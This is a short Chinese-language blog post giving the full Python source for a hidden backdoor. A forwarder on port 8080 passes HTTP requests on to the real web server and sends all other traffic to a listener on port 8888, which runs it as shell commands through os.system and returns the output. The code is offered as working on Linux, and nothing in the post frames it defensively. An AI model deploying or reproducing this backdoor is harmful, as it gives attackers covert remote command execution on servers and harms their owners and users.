python基于socket进行端口转发实现后门隐藏

python基于socket进行端口转发实现后门隐藏

思想：

用户正常浏览器访问请求通过8080端口，请求若为http请求，则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码：

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
    print("waiting for connection...")
    tcpCliSock,addr = tcpSerSock.accept()
    print("...connected from:",addr)
    
    while True:
        data=tcpCliSock.recv(BUFSIZE)
        if not data:
            break
        info = data.split('\n')
        command = info[0]
        try:
            os.system(command + " > command.txt");
            file = open('command.txt')
            data =""
            for line in file:
                data=data+line;
            tcpCliSock.send(data)
        except Exception:
            tcpCliSock.send("Nothing to do")

    tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码：

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
    data = tcpCliSock.recv(BUFFER_SIZE)
    if 'HTTP' in data:
        tcp3 = socket(AF_INET,SOCK_STREAM)
        tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
        tcp3.connect(('127.0.0.1',80))
        tcp3.send(data)
        htmlinfo = tcp3.recv(2048)
        if not htmlinfo:
            tcp3.close()
        else:
            tcpCliSock.send(htmlinfo)
    else:
        tcp2 = socket(AF_INET,SOCK_STREAM)
        tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
        tcp2.connect(('127.0.0.1',8888))
        data = data.replace("\n"," ")
        print data
        tcp2.send(data)
        commandinfo = tcp2.recv(1024)
        tcpCliSock.send(commandinfo)
        tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正，但是linux下是可以完美运行的。欢迎学习交流。